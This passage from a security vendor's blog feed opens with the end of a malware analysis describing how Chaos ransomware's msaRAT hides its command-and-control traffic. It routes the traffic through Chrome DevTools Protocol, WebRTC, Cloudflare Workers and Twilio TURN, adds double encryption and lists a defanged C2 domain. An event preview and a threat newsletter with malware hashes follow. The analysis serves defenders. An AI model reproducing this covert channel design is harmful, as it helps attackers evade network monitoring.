POST /token/v1/{UID} request (excerpt).</em></i></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure19.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="2000" height="692" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure19.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure19.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure19.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure19.png 2276w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 19. Response to POST /token/v1/{UID} request (excerpt).</em></i></figcaption></figure><h3 id="5-data-conversion-helper-and-random-string-generation">5. Data conversion helper and random string generation</h3><p>When sending data from the RAT to the browser, the CDP <code>Runtime.evaluate</code> can only pass strings. However, the actual data transmitted over the WebRTC DataChannel is binary data (ArrayBuffer). The function <code>Base64ToArrayBuffer</code> is responsible for handling this conversion.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure20.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="2000" height="585" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure20.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure20.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure20.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure20.png 2276w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 20. Data conversion helper.</em></i></figcaption></figure><h3 id="6-send-queue-and-flow-control">6. Send queue and flow control</h3><p>The WebRTC DataChannel has a send buffer, and continuously sending data can result in new data being dropped. To address this issue, the attacker has implemented a queue and flow control mechanism. Data is dequeued and sent when the buffer drops below 24KB. This design is likely intended to ensure reliable delivery of large payloads such as screenshots or file transfers to the C2.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure21.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="2000" height="975" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure21.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure21.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure21.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure21.png 2276w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 21. Send queue and flow control.</em></i></figcaption></figure><p>The second function is dedicated to data transmission and is injected on demand via <code>Runtime.evaluate</code> each time the RAT sends a command to the C2 through the browser. The actual payload is embedded in place of <code>{base64}</code>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure22.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="2000" height="692" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure22.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure22.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure22.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure22.png 2276w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 22. Function used for data transmission to the C2.</em></i></figcaption></figure><p>After the RAT injects JavaScript via <code>Runtime.evaluate</code>, control of the main processing shifts to the browser. The RAT enters a waiting loop monitoring the CDP WebSocket, continuously listening for events from the browser. The establishment and disconnection of the WebRTC connection, as well as data reception, are all handled by JavaScript running within the browser. To relay the results of this processing back to the RAT, the registered bindings such as <code>window.msaOpen()</code> and <code>window.msaMessage(base64Data)</code> are called. Each time a binding is called, CDP emits a <code>Runtime.bindingCalled</code> event to the RAT over WebSocket. The JSON format of this event is as follows:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure23.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="2000" height="550" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure23.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure23.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure23.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure23.png 2276w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 23. JSON format of Runtime.bindingCalled (example).</em></i></figcaption></figure><p>The <code>params</code> object contains two fields: <code>name</code> (a string indicating which binding was called) and <code>payload</code> (the argument passed from JavaScript). Based on the value of the name field, the RAT switches its subsequent behavior accordingly.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/table3.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="1192" height="499" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/table3.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/table3.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/table3.png 1192w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Table 3. Values of the name field and corresponding RAT behavior.</em></i></figcaption></figure><h2 id="communication-encryption">Communication encryption</h2><p>By specification, the WebRTC DataChannel communication path is automatically protected by DTLS (transport-layer encryption), which is handled entirely by the browser and is independent of the RAT&apos;s code. Separately, msaRAT encrypts the data itself using a ChaCha-Poly1305-based encryption scheme before passing it to the browser, resulting in double-layer encryption. This design ensures that even if DTLS is stripped, an adversary-in-the-middle cannot read the contents. The ChaCha-Poly1305-based encryption key is derived through an ECDH key exchange performed at the time the C2 connection is established. When a Handshake frame (0xFE) is received from the C2 immediately after connection, the RAT receives the C2 server&apos;s public key, generates its own key pair, derives a shared key and then sends its own public key back to the C2.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure24.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="2000" height="657" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure24.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure24.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure24.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure24.png 2276w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 24. ChaCha-Poly1305-based encryption processing (partial excerpt).</em></i></figcaption></figure><h2 id="c2-command-processing">C2 command processing</h2><p>While a simple implementation would receive a command number and invoke the corresponding handler, this RAT employs a two-layer structure: an outer layer that manages connection state and an inner layer that processes frames. These are shown in Tables 4 and 5.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/table4.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="1193" height="499" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/table4.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/table4.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/table4.png 1193w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Table 4. Outer switch: Connection state management.</em></i></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/table5.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="1193" height="637" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/table5.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/table5.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/table5.png 1193w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Table 5. Frame processing list.</em></i></figcaption></figure><h2 id="c2-communication-flow">C2 communication flow</h2><p>Figure 25 illustrates the communication flow between msaRAT, Cloudflare Workers, Twilio TURN, and the C2 server.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/chaos-02.jpg" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="2000" height="3233" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/chaos-02.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/chaos-02.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/chaos-02.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/chaos-02.jpg 2400w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 25. Communication flow among msaRAT, Cloudflare Workers, Twilio TURN, and the C2.</em></i></figcaption></figure><p>msaRAT never touches the network directly &#x2014; it controls its C2 communication channel exclusively through Chrome DevTools Protocol CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint (&#x201C;is-01-ast[.]ols-img-12[.]workers[.]dev&#x201D;), but rather than making HTTP connections to this domain itself, it offloads that entirely to the browser. This endpoint is dedicated solely to signaling relay (SDP Offer/Answer exchange) for establishing a WebRTC connection; once the WebRTC connection is established, Cloudflare Workers drops out of the communication path entirely. All subsequent C2 commands are exchanged exclusively over the WebRTC DataChannel.</p><p>The likely rationale for choosing Cloudflare Workers as the signaling relay is that the destination is Cloudflare&apos;s infrastructure rather than an attacker-owned server, meaning the destination IP addresses fall within Cloudflare&apos;s CDN ranges and will pass through many firewall and proxy allowlists without inspection. Furthermore, &#x201C;*.workers.dev&#x201D; is a platform domain provided by Cloudflare for developers, and blocking it would broadly impact legitimate Cloudflare Workers deployments making it structurally difficult for defenders to block. In addition, as we mentioned, communications are double-encrypted.</p><p>As a result of this design, all network communication from the RAT process itself is limited to &#x201C;127.0.0[.]1&#x201D;, and all external communications are observed as originating from a legitimate browser process. Since browser-based WebRTC communication is commonplace even in enterprise environments, C2 traffic is effectively buried within normal web traffic from the perspective of firewalls and network monitoring tools.</p><h2 id="coverage">Coverage</h2><p>The following ClamAV signatures detect and block this threat:</p><ul><li>Win.Downloader.ChaosRaas-10060321-0</li></ul><p>The following SNORT&#xAE; rules (SIDs) detect and block this threat:&#xA0;</p><ul><li>Snort 2: 1:66840, 1:66841, 1:66839</li><li>Snort 3: 1:301587, 1:66839</li></ul><h2 id="indicators-of-compromise-iocs">Indicators of compromise (IoCs)</h2><p>The IOCs can also be found in our GitHub repository <a href="https://github.com/Cisco-Talos/IOCs/blob/main/2026/07/chaos-msarat.txt" rel="noreferrer">here</a>.</p>]]></content:encoded></item><item><title><![CDATA[Preview: Cisco Talos at Black Hat USA 2026]]></title><description><![CDATA[Here’s some of the ways Talos is showing up at Black Hat, alongside our friends at Cisco and Splunk.]]></description><link>https://blog.talosintelligence.com/preview-cisco-talos-at-black-hat-usa-2026/</link><guid isPermaLink="false">6a5f858b70c7080001d752bc</guid><dc:creator><![CDATA[Mitch Neff]]></dc:creator><pubDate>Thu, 23 Jul 2026 10:00:14 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/BH2026_social_generic.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/BH2026_social_generic.jpg" alt="Preview: Cisco Talos at Black Hat USA 2026"><p>We&#x2019;re looking forward to having some great conversations with those of you heading to the desert for Hacker Summer Camp 2026. We have a presence within the Cisco and Splunk booth (2633) during Black Hat where you can chat to us about our latest threat research, incident response, and how Talos powers the Cisco portfolio with our intelligence.</p><p>Or, feel free to pretend to want to talk to us about those things while grabbing a new multicolored Snorty. That&#x2019;s fine, too.</p><p>Here&#x2019;s some of the ways we&#x2019;ll be showing up at Black Hat, alongside our friends at Cisco and Splunk:&#xA0;</p><h2 id="meet-the-researchers-booth-lightning-talks">Meet the researchers: Booth lightning talks&#xA0;</h2><p>Our Talosians have spent a lot of time over the last few months putting together some truly... well, enlightening lightning talks. Throughout Wednesday and Thursday at Black Hat, you can expect to see such topics as:</p><ul><li>Threat actor prompting and the emerging ways adversaries are using prompts, agents, skills, and tools to improve efficiency</li><li>Warlock ransomware, and why this group does not fit neatly into a simple RaaS or state-linked label.</li><li>Zero trust for agent identity</li><li>Building a &quot;second brain&quot; for your second brain</li><li>Predicting cybersecurity fraud</li><li>Vulnerability discovery trends</li><li>... and much more</li></ul><p>Lightning talks are 15 minutes. That&#x2019;s less than 9% of The Odyssey. Don&#x2019;t worry,&#xA0;we cut the bit where everyone gets turned into Snorty pigs.</p><h2 id="talos-workshop-when-ai-finds-vulnerabilities-faster-than-humans-can-patch">Talos workshop:&#xA0;When AI finds vulnerabilities faster than humans can patch&#xA0;</h2><p><strong>Date/Time:</strong>&#xA0;Wednesday, August 5 | 1:30&#xA0;p.m. &#x2013; 3:00 p.m. (Oceanside E, Level 2)</p><p>If you&apos;re looking for something hands-on and interactive, don&apos;t miss our&#xA0;<a href="https://blackhat.com/us-26/sponsored-sessions/schedule/?#when-ai-finds-vulnerabilities-faster-than-humans-can-patch-56544"><u>workshop with Talos&#x2019; Nick Biasini and Cisco&#x2019;s Omar Santos</u></a>. In two parts, they&#x2019;ll demonstrate practical ways security teams can incorporate AI into SOC workflows to identify sophisticated adversary behavior.</p><p>In Part 1, Omar will discuss<strong>&#xA0;</strong>the&#xA0;Foundry Security Spec. He&#x2019;ll walk through how to deploy, build testing harnesses around its core agent roles, and integrate Project&#xA0;CodeGuard&#xA0;so that findings from autonomous testing can be converted into reusable secure-coding rules and future prevention.&#xA0;</p><p>In Part 2, Nick will&#xA0;demonstrate&#xA0;how Talos leverages AI to transform threat hunting. We will explore best practices for&#xA0;identifying adversarial AI tactics and provide attendees with&#xA0;insights into how Cisco Talos is&#xA0;leveraging&#xA0;AI for&#xA0;defense. Participants will learn how to integrate these defensive AI strategies into their own SOC workflows.&#xA0;<strong>&#xA0;</strong></p><h2 id="splunk-workshop-when-agents-become-insider-threats">Splunk workshop: When agents become insider threats&#xA0;</h2><p><strong>Date/Time:</strong>&#xA0;Wednesday, August 5 | 10:15&#xA0;a.m. &#x2013; 11:00 a.m. (Mandalay Bay I)</p><p>The&#xA0;<a href="https://blackhat.com/us-26/sponsored-sessions/schedule/?#when-agents-become-insider-threats-55651">Splunk workshop</a>&#xA0;considers&#xA0;the fact that&#xA0;the next&#xA0;insider&#xA0;threat may not be a person; it may be an autonomous agent using valid credentials and delegated authority.&#xA0;</p><p>Attendees will see real-world attack paths in which agents move sensitive data across tools, distribute brute-force attempts under a single delegation, and manipulate internal systems without triggering traditional SIEM or UEBA alerts.&#xA0;</p><h2 id="it-was-talos-all-along">It was Talos all along</h2><p>One of the questions we hear often is: &quot;How do I buy Talos?&quot;</p><p>The answer&#x2026; is that you probably already did.</p><p>Throughout the Cisco booth you&apos;ll see our &#x201C;<strong>It was Talos all along&#x201D;</strong>&#xA0;campaign, highlighting the fact that Talos isn&apos;t a standalone product or a threat intelligence feed you bolt onto your security stack. Talos is already embedded across the Cisco security portfolio, which continually benefits from our threat research and intelligence.</p><p>To build your curiosity, take a look at our new video, &#x201C;Where Protection Starts,&#x201D; to see how&#xA0;Cisco Talos Intelligence Integrations help reduce uncertainty in the SOC:</p><figure class="kg-card kg-embed-card"><iframe width="200" height="113" src="https://www.youtube.com/embed/JXyz2gni2Us?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen title="Where Protection Starts: Cisco Talos Intelligence Integrations"></iframe></figure><p>See you in Las Vegas.</p>]]></content:encoded></item><item><title><![CDATA[Begun, the Patch Wars have]]></title><description><![CDATA[Long foretold, the Great Patching has begun and it’s a doozy. Buckle in as Joe takes you through the story.]]></description><link>https://blog.talosintelligence.com/begun-the-patch-wars-have/</link><guid isPermaLink="false">6a58c99722de2d00010884e0</guid><category><![CDATA[Threat Source newsletter]]></category><dc:creator><![CDATA[Joe Marshall]]></dc:creator><pubDate>Thu, 16 Jul 2026 18:00:50 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/threat_source-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/threat_source-1.jpg" alt="Begun, the Patch Wars have"><p>Welcome to this week&#x2019;s edition of the Threat Source newsletter.&#xA0;</p><p>We all knew, to some degree or another, that this summer was going to a hot mess. I don&#x2019;t mean FIFA drama or record setting heat waves. I mean the slow but steady momentum that AI frontier models were accruing for vulnerability research. If you were like me, and guesstimating exactly when that shoe would drop, my money was on the middle of summer. And... well, friends, I hate to say it, but I was right.&#xA0;&#xA0;</p><p>This July&#x2019;s Patch Tuesday is an absolute whopper. There are 622 vulnerabilities being patched, with 62 being a critical severity. To put this context, this month alone has more vulnerabilities listed than all of 2018 combined. Three are zero days, <em>two of which are being </em><a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-july-2026-patch-tuesday-fixes-massive-570-flaws-3-zero-days/" rel="noreferrer noopener"><em><u>actively exploited</u></em></a><em>. </em>July is usually a quiet month historically &#x2013; two years ago, it was just five patches issued in total! These are wild times, friends.&#xA0;&#xA0;</p><p>Microsoft has said this is due their AI frontier-accelerated research. We knew that this was coming, but what I am less sure about are companies that can meet the demand of this patch flood and getting these patches out to their infrastructures. The pessimist in me knows how most IT enterprises operate: You test, review stability, and then deploy. There&#x2019;s a lag there &#x2013; always has been, always will be. But that system worked under a sane patching load. As surely as much as Microsoft is using frontier models to research and announce vulnerabilities, <strong>so every is every other vendor.</strong>&#xA0;&#xA0;</p><p>Either through bug bounty programs or their own internal research, vendors are eating these bugs from a fire hose. Some are straight-up slop and just noise, but some have absolute value and need to be fixed. A giant like Microsoft has the money and resources to address this &#x2013; as well they should. But for every Microsoft, there are five other companies who don&#x2019;t have those resources. They&#x2019;ll get bugs analyzed and patches issued, surely, but it will be on a much longer timeline.&#xA0;&#xA0;</p><p>The trick, I think, will be identifying what is a &#x201C;surge&#x201D; vs. our new normal. If everything is a fire drill to patch, then nothing is a fire drill. What might just be a hot summer for patching, might turn into a 12-month fusillade of KEV and EPSS notifications, with companies already under the gun taxed even more.&#xA0;</p><p>I truly don&#x2019;t know how this ends, but&#x2026; Find your change management and IT administrators and give them a hug. There are going to be some long days and hard questions to answer, and they&#x2019;ll need all the help they can get.&#xA0;</p><h2 id="the-one-big-thing">The one big thing&#xA0;</h2><p>Cisco Talos is <a href="https://blog.talosintelligence.com/uat-11795-deploys-novel-starland-rat-and-bespoke-wldr-c2-implant-in-financially-motivated-campaign" rel="noreferrer noopener"><u>disclosing a new campaign</u></a> by UAT-11795, a sophisticated, financially motivated Russian-speaking adversary targeting users in the U.S. and Europe since at least June 2025. UAT-11795 uses trojanized software installers &#x2014; including popular tools like Webex, Zoom, and MobaXterm &#x2014; to deliver a custom Python-based remote access tool we track as &quot;Starland RAT.&quot; This RAT acts as a gateway to deploy further malicious payloads, most notably a bespoke, in-memory PowerShell command-and-control (C2) implant known as the &quot;WLDR agent.&quot;&#xA0;</p><h3 id="why-do-i-care">Why do I care?&#xA0;</h3><p>This opportunistic campaign casts a wide net across multiple victim profiles, turning a simple software download into a full-blown compromise. UAT-11795 employs highly evasive techniques, including AMSI and ETW bypasses, and uses a clever blockchain-anchored fallback mechanism to maintain persistent command and control. Once inside, attackers rapidly deploy secondary payloads like CastleStealer and Remcos RAT to siphon high-value credentials and cryptocurrency assets.&#xA0;</p><h3 id="so-now-what">So now what?&#xA0;</h3><p>Educate your users on ClickFix social engineering tactics and the dangers of unofficial software downloads. Monitor for suspicious execution of mshta.exe and unusual PowerShell activity, particularly scripts executing from memory or creating unexpected scheduled tasks. Ensure endpoint detection solutions are tuned to catch in-memory execution and AMSI tampering. <a href="https://blog.talosintelligence.com/uat-11795-deploys-novel-starland-rat-and-bespoke-wldr-c2-implant-in-financially-motivated-campaign" rel="noreferrer noopener"><u>Read the full blog</u></a> for coverage and indicators of compromise (IOCs).&#xA0;</p><h2 id="top-security-headlines-of-the-week">Top security headlines of the week&#xA0;</h2><p><strong>Microsoft patches record 622 flaws, including two zero-days under active attack</strong>&#xA0;<br>Microsoft shipped its largest Patch Tuesday on record, more than triple June&apos;s previous high of around 200. (<a href="https://thehackernews.com/2026/07/microsoft-patches-record-622-flaws.html" rel="noreferrer noopener"><u>The Hacker News</u></a>)&#xA0;</p><p><strong>RabbitMQ vulnerability threatens enterprise systems</strong>&#xA0;<br>RabbitMQ is a popular open-source message broker that routes, buffers, and distributes messages, enabling asynchronous communication between applications. The security defect impacts an open management endpoint that returns the OAuth secret to anyone, without authentication. (<a href="https://www.securityweek.com/rabbitmq-vulnerability-threatens-enterprise-systems/" rel="noreferrer noopener"><u>SecurityWeek</u></a>)&#xA0;</p><p><strong>Nigeria deepens cybersecurity efforts as cybercriminals see more profits</strong>&#xA0;<br>The West African country advanced rules to force organizations to disclose cyberattacks, joining other nations in a shift to mandated transparency. (<a href="https://www.darkreading.com/cyber-risk/nigeria-cybersecurity-efforts-cybercriminals-profits" rel="noreferrer noopener"><u>DarkReading</u></a>)&#xA0;</p><p><strong>Two-click cursor exploit enables dev environment takeover</strong>&#xA0;<br>Cursor AI, a popular AI coding tool used by more than 50,000 enterprises and 64% of the Fortune 500, can be exploited in just two clicks, allowing attackers to install permission-rich model context protocol (MCP) servers on privileged developers&apos; machines. (<a href="https://www.darkreading.com/application-security/2-click-cursor-exploit-dev-environment-takeover" rel="noreferrer noopener"><u>DarkReading</u></a>)&#xA0;</p><h2 id="can%E2%80%99t-get-enough-talos">Can&#x2019;t get enough Talos?&#xA0;</h2><p><a href="https://blog.talosintelligence.com/video-where-protection-starts-cisco-talos-intelligence-integrations/" rel="noreferrer noopener"><strong><u>[Video] Where protection starts: Cisco Talos Intelligence Integrations</u></strong></a>&#xA0;<br>Every day, defenders make high-consequence decisions with incomplete information. Learn how Cisco Talos Intelligence Integrations help reduce uncertainty by turning the latest threat intelligence into proactive protections across Cisco technologies.&#xA0;</p><p><a href="https://blog.talosintelligence.com/the-hunters-paradox-is-it-time-to-embrace-automated-threat-hunting/" rel="noreferrer"><strong>The Hunter&apos;s Paradox: Is it time to embrace automated threat hunting?</strong></a><br>Humans can no longer keep up with the volume and velocity of security data on their own, but AI can&apos;t be fully trusted. David discusses the merits of both and what the future might look like.</p><p><a href="https://blog.talosintelligence.com/the-serpents-tongue-luring-the-python-out-of-its-den/" rel="noreferrer noopener"><strong><u>The serpent&#x2019;s tongue: Luring the Python out of its den</u></strong></a>&#xA0;<br>Protect your development environment from rising Python supply-chain threats by understanding the package installation lifecycle and implementing these essential defensive strategies.&#xA0;</p><p><a href="https://www.buzzsprout.com/2018149/episodes/19492714" rel="noreferrer noopener"><strong><u>ARToken: How attackers are bypassing MFA and maintaining access</u></strong></a>&#xA0;<br>In this episode of Talos Takes, we dive deep into ARToken, a sophisticated phishing-as-a-service platform that steals credentials, bypasses MFA entirely, and leverages primary refresh tokens (PRTs) to maintain persistence in your environment long after a password reset.&#xA0;</p><h2 id="upcoming-events-where-you-can-find-talos">Upcoming events where you can find Talos&#xA0;</h2><ul><li><a href="https://blackhat.com/us-26/" rel="noreferrer noopener"><u>Black Hat USA</u></a> (Aug. 1 &#x2013; 6) Las Vegas, NV&#xA0;</li><li><a href="https://defcon.org/html/defcon-34/dc-34-index.html" rel="noreferrer noopener"><u>DEF CON 34</u></a> (Aug. 6 &#x2013; 9) Las Vegas, NV&#xA0;</li></ul><h2 id="most-prevalent-malware-files-from-talos-telemetry-over-the-past-week">Most prevalent malware files from Talos telemetry over the past week&#xA0;</h2><p><strong>SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507</strong>&#xA0;<br>MD5: 2915b3f8b703eb744fc54c81f4a9c67f&#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507</u></a>&#xA0;<br>Example Filename: VID001.exe &#xA0;<br>Detection Name: Win.Worm.Coinminer::1201**&#xA0;</p><p><strong>SHA256: 9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f</strong>&#xA0;<br>MD5: 38de5b216c33833af710e88f7f64fc98&#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f</u></a>&#xA0;<br>Example Filename: SECOH-QAD.exe&#xA0;<br>Detection Name: Win.Tool.Procpatcher::1201&#xA0;</p><p><strong>SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59</strong> &#xA0;<br>MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a &#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59</u></a>&#xA0;<br>Example Filename: tmp00055df5.dll &#xA0;<br>Detection Name: Auto.90B145.282358.in02&#xA0;</p><p><strong>SHA256: b8be9a5e0a191050f9099c11c155b436863e9bc43bc904cdb842e249679aa35a</strong>&#xA0;<br>MD5: 0398df5a18f71efcfeef4571a2cef577&#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=b8be9a5e0a191050f9099c11c155b436863e9bc43bc904cdb842e249679aa35a" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=b8be9a5e0a191050f9099c11c155b436863e9bc43bc904cdb842e249679aa35a</u></a>&#xA0;<br>Example Filename: 